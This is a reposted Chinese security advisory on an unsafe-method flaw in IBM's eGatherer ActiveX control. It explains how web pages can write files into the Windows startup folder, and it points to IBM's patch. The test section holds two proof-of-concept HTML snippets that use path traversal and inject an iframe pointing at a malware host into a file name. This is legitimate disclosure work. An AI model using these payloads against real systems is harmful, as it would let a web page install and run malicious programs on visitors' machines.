IBM EGatherer ActiveX控件不安全调用方法漏洞

发布日期：2004-06-16
更新日期：2004-06-22

受影响系统：

IBM eGatherer 2.0.16

描述：

---

BUGTRAQ ID: 10562

IBM eGatherer控件是IBM用于自动维护PC的解决方案。

IBM eGatherer控件包含危险的调用方法，远程攻击者可以利用这个漏洞在目标用户系统上安装恶意程序。

IBM eGatherer控件可调用方法有"GetMake"、"GetModel"、"GetOSName"、"SetDebugging"及"RunEgatherer"接收文件名的变量，这些危险的调用可使用户写恶意文件到用户启动文件夹中。"SetDebugging"和"RunEgatherer"方法允许WEB页作者写文件到目标系统硬盘上。

利用这些方法，攻击者构建恶意页面，诱使用户点击，可导致恶意程序安装并执行。

<*来源：Eeye Digital Security

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108758083015285&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Eeye Digital Security 提供了如下测试方法：

-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


---------------------------------

建议：

---

厂商补丁：

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

IBM Upgrade access_support_fp2.exe
http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-54588

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有